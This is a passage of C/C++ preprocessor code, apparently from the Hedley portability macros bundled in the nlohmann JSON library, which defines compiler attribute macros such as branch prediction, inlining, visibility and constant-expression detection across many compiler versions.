!defined(JSON_HEDLEY_INTEL_CL_VERSION)) || \\\n  JSON_HEDLEY_GCC_VERSION_CHECK(3,0,0) || \\\n  JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n  (JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,15,0) && defined(__cplusplus)) || \\\n  JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n  JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \\\n  JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n  JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,7,0) || \\\n  JSON_HEDLEY_TI_CL430_VERSION_CHECK(3,1,0) || \\\n  JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,1,0) || \\\n  JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,1,0) || \\\n  JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n  JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n  JSON_HEDLEY_TINYC_VERSION_CHECK(0,9,27) || \\\n  JSON_HEDLEY_CRAY_VERSION_CHECK(8,1,0) || \\\n  JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#  define JSON_HEDLEY_PREDICT(expr, expected, probability) \\\n    (((probability) >= 0.9) ? __builtin_expect((expr), (expected)) : (JSON_HEDLEY_STATIC_CAST(void, expected), (expr)))\n#  define JSON_HEDLEY_PREDICT_TRUE(expr, probability) \\\n    (__extension__ ({ \\\n        double hedley_probability_ = (probability); \\\n        ((hedley_probability_ >= 0.9) ? __builtin_expect(!!(expr), 1) : ((hedley_probability_ <= 0.1) ? __builtin_expect(!!(expr), 0) : !!(expr))); \\\n    }))\n#  define JSON_HEDLEY_PREDICT_FALSE(expr, probability) \\\n    (__extension__ ({ \\\n        double hedley_probability_ = (probability); \\\n        ((hedley_probability_ >= 0.9) ? __builtin_expect(!!(expr), 0) : ((hedley_probability_ <= 0.1) ? __builtin_expect(!!(expr), 1) : !!(expr))); \\\n    }))\n#  define JSON_HEDLEY_LIKELY(expr)   __builtin_expect(!!(expr), 1)\n#  define JSON_HEDLEY_UNLIKELY(expr) __builtin_expect(!!(expr), 0)\n#else\n#  define JSON_HEDLEY_PREDICT(expr, expected, probability) (JSON_HEDLEY_STATIC_CAST(void, expected), (expr))\n#  define JSON_HEDLEY_PREDICT_TRUE(expr, probability) (!!(expr))\n#  define JSON_HEDLEY_PREDICT_FALSE(expr, probability) (!!(expr))\n#  define JSON_HEDLEY_LIKELY(expr) (!!(expr))\n#  define JSON_HEDLEY_UNLIKELY(expr) (!!(expr))\n#endif\n#if !defined(JSON_HEDLEY_UNPREDICTABLE)\n#define JSON_HEDLEY_UNPREDICTABLE(expr) JSON_HEDLEY_PREDICT(expr, 1, 0.5)\n#endif\n\n#if defined(JSON_HEDLEY_MALLOC)\n#undef JSON_HEDLEY_MALLOC\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(malloc) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,1,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(12,1,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n    (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_MALLOC __attribute__((__malloc__))\n#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0)\n#define JSON_HEDLEY_MALLOC _Pragma(\"returns_new_memory\")\n#elif \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(14,0,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_MALLOC __declspec(restrict)\n#else\n#define JSON_HEDLEY_MALLOC\n#endif\n\n#if defined(JSON_HEDLEY_PURE)\n#undef JSON_HEDLEY_PURE\n#endif\n#if \\\n  JSON_HEDLEY_HAS_ATTRIBUTE(pure) || \\\n  JSON_HEDLEY_GCC_VERSION_CHECK(2,96,0) || \\\n  JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n  JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \\\n  JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n  JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \\\n  JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n  (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n  JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n  (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n  JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n  (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n  JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n  (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n  JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n  JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n  JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n  JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) || \\\n  JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#  define JSON_HEDLEY_PURE __attribute__((__pure__))\n#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0)\n#  define JSON_HEDLEY_PURE _Pragma(\"does_not_write_global_data\")\n#elif defined(__cplusplus) && \\\n    ( \\\n      JSON_HEDLEY_TI_CL430_VERSION_CHECK(2,0,1) || \\\n      JSON_HEDLEY_TI_CL6X_VERSION_CHECK(4,0,0) || \\\n      JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) \\\n    )\n#  define JSON_HEDLEY_PURE _Pragma(\"FUNC_IS_PURE;\")\n#else\n#  define JSON_HEDLEY_PURE\n#endif\n\n#if defined(JSON_HEDLEY_CONST)\n#undef JSON_HEDLEY_CONST\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(const) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(2,5,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n    (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_CONST __attribute__((__const__))\n#elif \\\n    JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0)\n#define JSON_HEDLEY_CONST _Pragma(\"no_side_effect\")\n#else\n#define JSON_HEDLEY_CONST JSON_HEDLEY_PURE\n#endif\n\n#if defined(JSON_HEDLEY_RESTRICT)\n#undef JSON_HEDLEY_RESTRICT\n#endif\n#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) && !defined(__cplusplus)\n#define JSON_HEDLEY_RESTRICT restrict\n#elif \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,1,0) || \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(14,0,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \\\n    JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,2,4) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,1,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    (JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,14,0) && defined(__cplusplus)) || \\\n    JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) || \\\n    defined(__clang__) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_RESTRICT __restrict\n#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,3,0) && !defined(__cplusplus)\n#define JSON_HEDLEY_RESTRICT _Restrict\n#else\n#define JSON_HEDLEY_RESTRICT\n#endif\n\n#if defined(JSON_HEDLEY_INLINE)\n#undef JSON_HEDLEY_INLINE\n#endif\n#if \\\n    (defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)) || \\\n    (defined(__cplusplus) && (__cplusplus >= 199711L))\n#define JSON_HEDLEY_INLINE inline\n#elif \\\n    defined(JSON_HEDLEY_GCC_VERSION) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(6,2,0)\n#define JSON_HEDLEY_INLINE __inline__\n#elif \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(12,0,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,1,0) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(3,1,0) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,2,0) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,0,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_INLINE __inline\n#else\n#define JSON_HEDLEY_INLINE\n#endif\n\n#if defined(JSON_HEDLEY_ALWAYS_INLINE)\n#undef JSON_HEDLEY_ALWAYS_INLINE\n#endif\n#if \\\n  JSON_HEDLEY_HAS_ATTRIBUTE(always_inline) || \\\n  JSON_HEDLEY_GCC_VERSION_CHECK(4,0,0) || \\\n  JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n  JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \\\n  JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n  JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \\\n  JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n  (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n  JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n  (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n  JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n  (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n  JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n  (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n  JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n  JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n  JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n  JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10) || \\\n  JSON_HEDLEY_IAR_VERSION_CHECK(8,10,0)\n#  define JSON_HEDLEY_ALWAYS_INLINE __attribute__((__always_inline__)) JSON_HEDLEY_INLINE\n#elif \\\n  JSON_HEDLEY_MSVC_VERSION_CHECK(12,0,0) || \\\n  JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#  define JSON_HEDLEY_ALWAYS_INLINE __forceinline\n#elif defined(__cplusplus) && \\\n    ( \\\n      JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n      JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n      JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n      JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,1,0) || \\\n      JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n      JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) \\\n    )\n#  define JSON_HEDLEY_ALWAYS_INLINE _Pragma(\"FUNC_ALWAYS_INLINE;\")\n#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0)\n#  define JSON_HEDLEY_ALWAYS_INLINE _Pragma(\"inline=forced\")\n#else\n#  define JSON_HEDLEY_ALWAYS_INLINE JSON_HEDLEY_INLINE\n#endif\n\n#if defined(JSON_HEDLEY_NEVER_INLINE)\n#undef JSON_HEDLEY_NEVER_INLINE\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(noinline) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(4,0,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n    (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10) || \\\n    JSON_HEDLEY_IAR_VERSION_CHECK(8,10,0)\n#define JSON_HEDLEY_NEVER_INLINE __attribute__((__noinline__))\n#elif \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(13,10,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_NEVER_INLINE __declspec(noinline)\n#elif JSON_HEDLEY_PGI_VERSION_CHECK(10,2,0)\n#define JSON_HEDLEY_NEVER_INLINE _Pragma(\"noinline\")\n#elif JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,0,0) && defined(__cplusplus)\n#define JSON_HEDLEY_NEVER_INLINE _Pragma(\"FUNC_CANNOT_INLINE;\")\n#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0)\n#define JSON_HEDLEY_NEVER_INLINE _Pragma(\"inline=never\")\n#elif JSON_HEDLEY_COMPCERT_VERSION_CHECK(3,2,0)\n#define JSON_HEDLEY_NEVER_INLINE __attribute((noinline))\n#elif JSON_HEDLEY_PELLES_VERSION_CHECK(9,0,0)\n#define JSON_HEDLEY_NEVER_INLINE __declspec(noinline)\n#else\n#define JSON_HEDLEY_NEVER_INLINE\n#endif\n\n#if defined(JSON_HEDLEY_PRIVATE)\n#undef JSON_HEDLEY_PRIVATE\n#endif\n#if defined(JSON_HEDLEY_PUBLIC)\n#undef JSON_HEDLEY_PUBLIC\n#endif\n#if defined(JSON_HEDLEY_IMPORT)\n#undef JSON_HEDLEY_IMPORT\n#endif\n#if defined(_WIN32) || defined(__CYGWIN__)\n#  define JSON_HEDLEY_PRIVATE\n#  define JSON_HEDLEY_PUBLIC   __declspec(dllexport)\n#  define JSON_HEDLEY_IMPORT   __declspec(dllimport)\n#else\n#  if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(visibility) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,3,0) || \\\n    JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,11,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(13,1,0) || \\\n    ( \\\n      defined(__TI_EABI__) && \\\n      ( \\\n        (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n        JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) \\\n      ) \\\n    ) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#    define JSON_HEDLEY_PRIVATE __attribute__((__visibility__(\"hidden\")))\n#    define JSON_HEDLEY_PUBLIC  __attribute__((__visibility__(\"default\")))\n#  else\n#    define JSON_HEDLEY_PRIVATE\n#    define JSON_HEDLEY_PUBLIC\n#  endif\n#  define JSON_HEDLEY_IMPORT    extern\n#endif\n\n#if defined(JSON_HEDLEY_NO_THROW)\n#undef JSON_HEDLEY_NO_THROW\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(nothrow) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,3,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_NO_THROW __attribute__((__nothrow__))\n#elif \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(13,1,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0)\n#define JSON_HEDLEY_NO_THROW __declspec(nothrow)\n#else\n#define JSON_HEDLEY_NO_THROW\n#endif\n\n#if defined(JSON_HEDLEY_FALL_THROUGH)\n#undef JSON_HEDLEY_FALL_THROUGH\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(fallthrough) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(7,0,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_FALL_THROUGH __attribute__((__fallthrough__))\n#elif JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS(clang,fallthrough)\n#define JSON_HEDLEY_FALL_THROUGH JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[clang::fallthrough]])\n#elif JSON_HEDLEY_HAS_CPP_ATTRIBUTE(fallthrough)\n#define JSON_HEDLEY_FALL_THROUGH JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_([[fallthrough]])\n#elif defined(__fallthrough) /* SAL */\n#define JSON_HEDLEY_FALL_THROUGH __fallthrough\n#else\n#define JSON_HEDLEY_FALL_THROUGH\n#endif\n\n#if defined(JSON_HEDLEY_RETURNS_NON_NULL)\n#undef JSON_HEDLEY_RETURNS_NON_NULL\n#endif\n#if \\\n    JSON_HEDLEY_HAS_ATTRIBUTE(returns_nonnull) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(4,9,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_RETURNS_NON_NULL __attribute__((__returns_nonnull__))\n#elif defined(_Ret_notnull_) /* SAL */\n#define JSON_HEDLEY_RETURNS_NON_NULL _Ret_notnull_\n#else\n#define JSON_HEDLEY_RETURNS_NON_NULL\n#endif\n\n#if defined(JSON_HEDLEY_ARRAY_PARAM)\n#undef JSON_HEDLEY_ARRAY_PARAM\n#endif\n#if \\\n    defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) && \\\n    !defined(__STDC_NO_VLA__) && \\\n    !defined(__cplusplus) && \\\n    !defined(JSON_HEDLEY_PGI_VERSION) && \\\n    !defined(JSON_HEDLEY_TINYC_VERSION)\n#define JSON_HEDLEY_ARRAY_PARAM(name) (name)\n#else\n#define JSON_HEDLEY_ARRAY_PARAM(name)\n#endif\n\n#if defined(JSON_HEDLEY_IS_CONSTANT)\n#undef JSON_HEDLEY_IS_CONSTANT\n#endif\n#if defined(JSON_HEDLEY_REQUIRE_CONSTEXPR)\n#undef JSON_HEDLEY_REQUIRE_CONSTEXPR\n#endif\n    /* JSON_HEDLEY_IS_CONSTEXPR_ is for\n       HEDLEY INTERNAL USE ONLY.  API subject to change without notice. */\n#if defined(JSON_HEDLEY_IS_CONSTEXPR_)\n#undef JSON_HEDLEY_IS_CONSTEXPR_\n#endif\n#if \\\n    JSON_HEDLEY_HAS_BUILTIN(__builtin_constant_p) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,4,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_TINYC_VERSION_CHECK(0,9,19) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_IBM_VERSION_CHECK(13,1,0) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(6,1,0) || \\\n    (JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,10,0) && !defined(__cplusplus)) || \\\n    JSON_HEDLEY_CRAY_VERSION_CHECK(8,1,0) || \\\n    JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_IS_CONSTANT(expr) __builtin_constant_p(expr)\n#endif\n#if !defined(__cplusplus)\n#  if \\\n       JSON_HEDLEY_HAS_BUILTIN(__builtin_types_compatible_p) || \\\n       JSON_HEDLEY_GCC_VERSION_CHECK(3,4,0) || \\\n       JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n       JSON_HEDLEY_IBM_VERSION_CHECK(13,1,0) || \\\n       JSON_HEDLEY_CRAY_VERSION_CHECK(8,1,0) || \\\n       JSON_HEDLEY_ARM_VERSION_CHECK(5,4,0) || \\\n       JSON_HEDLEY_TINYC_VERSION_CHECK(0,9,24)\n#if defined(__INTPTR_TYPE__)\n#define JSON_HEDLEY_IS_CONSTEXPR_(expr) __builtin_types_compatible_p(__typeof__((1 ? (void*) ((__INTPTR_TYPE__) ((expr) * 0)) : (int*) 0)), int*)\n#else\n#include <stdint.h>\n#define JSON_HEDLEY_IS_CONSTEXPR_(expr) __builtin_types_compatible_p(__typeof__((1 ? (void*) ((intptr_t) ((expr) * 0)) : (int*) 0)), int*)\n#endif\n#  elif \\\n       ( \\\n          defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 201112L) && \\\n          !defined(JSON_HEDLEY_SUNPRO_VERSION) && \\\n          !defined(JSON_HEDLEY_PGI_VERSION) && \\\n          !defined(JSON_HEDLEY_IAR_VERSION)) || \\\n       (JSON_HEDLEY_HAS_EXTENSION(c_generic_selections) && !defined(JSON_HEDLEY_IAR_VERSION)) || \\\n       JSON_HEDLEY_GCC_VERSION_CHECK(4,9,0) || \\\n       JSON_HEDLEY_INTEL_VERSION_CHECK(17,0,0) || \\\n       JSON_HEDLEY_IBM_VERSION_CHECK(12,1,0) || \\\n       JSON_HEDLEY_ARM_VERSION_CHECK(5,3,0)\n#if defined(__INTPTR_TYPE__)\n#define JSON_HEDLEY_IS_CONSTEXPR_(expr) _Generic((1 ? (void*) ((__INTPTR_TYPE__) ((expr) * 0)) : (int*) 0), int*: 1, void*: 0)\n#else\n#include <stdint.h>\n#define JSON_HEDLEY_IS_CONSTEXPR_(expr) _Generic((1 ? (void*) ((intptr_t) * 0) : (int*) 0), int*: 1, void*: 0)\n#endif\n#  elif \\\n       defined(JSON_HEDLEY_GCC_VERSION) || \\\n       defined(JSON_HEDLEY_INTEL_VERSION) || \\\n       defined(JSON_HEDLEY_TINYC_VERSION) || \\\n       defined(JSON_HEDLEY_TI_ARMCL_VERSION) || \\\n       JSON_HEDLEY_TI_CL430_VERSION_CHECK(18,12,0) || \\\n       defined(JSON_HEDLEY_TI_CL2000_VERSION) || \\\n       defined(JSON_HEDLEY_TI_CL6X_VERSION) || \\\n       defined(JSON_HEDLEY_TI_CL7X_VERSION) || \\\n       defined(JSON_HEDLEY_TI_CLPRU_VERSION) || \\\n       defined(__clang__)\n#    define JSON_HEDLEY_IS_CONSTEXPR_(expr) ( \\\n        sizeof(void) != \\\n        sizeof(*( \\\n                  1 ? \\\n                  ((void*) ((expr) * 0L) ) : \\\n((struct { char v[sizeof(void) * 2]; } *) 1) \\\n                ) \\\n              ) \\\n                                            )\n#  endif\n#endif\n#if defined(JSON_HEDLEY_IS_CONSTEXPR_)\n#if !defined(JSON_HEDLEY_IS_CONSTANT)\n#define JSON_HEDLEY_IS_CONSTANT(expr) JSON_HEDLEY_IS_CONSTEXPR_(expr)\n#endif\n#define JSON_HEDLEY_REQUIRE_CONSTEXPR(expr) (JSON_HEDLEY_IS_CONSTEXPR_(expr) ? (expr) : (-1))\n#else\n#if !defined(JSON_HEDLEY_IS_CONSTANT)\n#define JSON_HEDLEY_IS_CONSTANT(expr) (0)\n#endif\n#define JSON_HEDLEY_REQUIRE_CONSTEXPR(expr) (expr)\n#endif\n\n#if defined(JSON_HEDLEY_BEGIN_C_DECLS)\n#undef JSON_HEDLEY_BEGIN_C_DECLS\n#endif\n#if defined(JSON_HEDLEY_END_C_DECLS)\n#undef JSON_HEDLEY_END_C_DECLS\n#endif\n#if defined(JSON_HEDLEY_C_DECL)\n#undef JSON_HEDLEY_C_DECL\n#endif\n#if defined(__cplusplus)\n#define JSON_HEDLEY_BEGIN_C_DECLS extern \"C\" {\n#define JSON_HEDLEY_END_C_DECLS }\n#define JSON_HEDLEY_C_DECL extern \"C\"\n#else\n#define JSON_HEDLEY_BEGIN_C_DECLS\n#define JSON_HEDLEY_END_C_DECLS\n#define JSON_HEDLEY_C_DECL\n#endif\n\n#if defined(JSON_HEDLEY_STATIC_ASSERT)\n#undef JSON_HEDLEY_STATIC_ASSERT\n#endif\n#if \\\n  !defined(__cplusplus) && ( \\\n      (defined(__STDC_VERSION__) && (__STDC_VERSION__ 